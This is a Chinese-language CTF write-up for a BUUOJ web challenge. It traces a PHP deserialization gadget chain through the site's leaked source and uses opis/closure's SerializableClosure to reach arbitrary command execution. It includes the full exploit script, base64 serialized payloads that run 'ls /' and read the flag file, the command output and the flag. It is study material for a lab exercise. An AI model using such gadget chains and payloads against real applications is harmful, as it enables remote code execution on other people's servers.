转载自qq群.
师傅发布的md文件
原题地址:https://buuoj.cn/match/matches/36/challenges
xxc
- 打开网页提示
一条链子
,使用dirmap扫描到网站源码www.zip,进行代码审计。 - index.php其中存在反序列化操作,这道题确定是一道序列化的题目:
1 |
|
我们先来学习一下
_loader()
函数,这是一个自动加载函数,在PHP5中,当我们实例化一个未定义的类时,就会触发此函数。spl_autoload_register('loadprint')
与__autoload()
函数有异曲同工之妙,PHP碰到没有定义的类就执行loadprint()
函数。所以我们在
index.php
中可以自由的实例化存在的类。由于是反序列化的题目,我们先来看看入口点__destruct()
和__wakeup()
函数是否存在:\Control\State\StopHook.php
中发现了析构函数,调用了同类中的_exit()
函数,其中$process->stop();
可能会触发__call()
函数,而!$process->isRunning
可能会触发__get()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
namespace Control\State;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;
public function __destruct() {
$this->_exit();
}
private function _exit() {
foreach(array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}- 在
\Faker\MyGenerator.php
中找到这两个函数,__call()
函数中echo $this->defaultCall;
一句可能会触发__toString()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace Faker;
class MyGenerator {
protected $defaultValue;
public function __call($method, $arg_array) {
echo $this->defaultCall;
return $this->defaultCall;
}
public function __get($property) {
return $this->defaultValue;
}
}- 在
\Method\Func\GetFile.php
找到__toString()
函数,调用了同类中的getFiles()
函数,发现函数的中调用了isset()
函数,如果该类中不存在该属性,会触发__isset()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
namespace Method\Func;
class GetFile {
private $flag = true;
private $files = [];
public function __toString() {
return $this->getFiles();
}
public function getFiles() {
if (!$this->flag) return "denied";
$s = "";
if (isset($this->flag->{$this->value})) {
return "test";
}
foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}- 在
Method\Func\GetDefault.php
中找到__isset()
函数,调用了同类中的popup()
函数,其中return $s($length);
可能会触发__invoke()
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
namespace Method\Func;
class GetDefault {
private $source;
public function popup($length) {
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}
public function __isset($property) {
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}- 最后在
\Method\Func\GenerateFile.php
中找到__invoke()
函数,且存在call_user_func()
。没有想到在php5中是可以直接赋值在一个没有初始化的变量上的2333。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace Method\Func;
class GenerateFile {
public $flag;
protected $buffer;
public function __invoke($param) {
$this->myGen($param);
}
public function myGen($length) {
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}整个链子理清楚了,但是发现
call_user_func()
的第二个参数被写死了,因为$this->popup(666);
调用的时候将666
传入了__invoke($param)
,最后也就作为$length
变量传入了myGen($length)
函数。现在只能够调用类似
phpinfo()
等不需要参数的程序,并不能够rce,该怎么办呢?- 这时候我们注意到存在
function.php
,发现这个cms是基于opis/closure
搭建的,网址:https://github.com/opis/closure - 该项目是用来闭包类对象的,官方文档:https://opis.io/closure/3.x/serialize.html。php中的闭包函数(仅对php)即匿名函数,一般是无法进行序列化的,一般会报错:
1
2
3
$function = function(){ eval(system('ls')); };
echo serialize($function);1
Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
- 使用这个项目,可以将闭包包装成一个
Opis\Closure\SerializableClosure
对象,然后使用标准的serialize()
进行序列化。也可以使用Opis\Closure\serialize
函数序列化任意对象。
1
2
3
4
5
require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
$a = new \Opis\Closure\SerializableClosure($function);
echo serialize($a);1
2
3
4
require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
echo \Opis\Closure\serialize($function);1
C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}}
- 这时候我们注意到存在
那么我们可以将匿名函数通过
serialize()
函数经过一次序列化和反序列化,这样他就能作为SerializableClosure
对象被序列化。或者直接将generate
变量赋值为SerializableClosure
类。payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
namespace Control\State {
class StopHook {
protected $processes;
public function __construct() {
$this -> processes = array(new \Faker\MyGenerator());
}
}
require 'closure/autoload.php';
$payload = new StopHook();
echo base64_encode(serialize($payload));
}
namespace Faker {
class MyGenerator {
protected $defaultValue;
public function __construct() {
$this -> defaultValue = new \Method\Func\GetFile();
}
}
}
namespace Method\Func{
class GetFile {
private $flag;
public function __construct() {
$this -> flag = new \Method\Func\GetDefault();
$this -> value = 'test';
}
}
}
namespace Method\Func{
class GetDefault {
private $source;
public function __construct() {
$this -> source = new \Method\Func\GenerateFile();
$this -> source -> flag = 'myTest';
}
}
}
namespace Method\Func{
class GenerateFile {
public $flag;
protected $buffer;
public function __construct() {
$function = function(){ eval(system('ls /')); };
$this -> source -> generate = new \Opis\Closure\SerializableClosure($function);
}
}
}- 将php文件放在
/www
文件夹下运行,得到序列化的结果(其实在php5中赋值一个对象在一个空变量中是会警告的HP Warning: Creating default object from empty value in /var/www/1.php on line 51
,在php8中就直接报错了):
1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
- 将作为post参数data传递,获得回显:
1
bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
- 修改
$function = function(){ eval(system('cat /fl@g.txt')); };
,重新序列化:
1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
获得flag:
1 | flag{16ed60c5-d06f-4974-931b-a26b07b5618d} |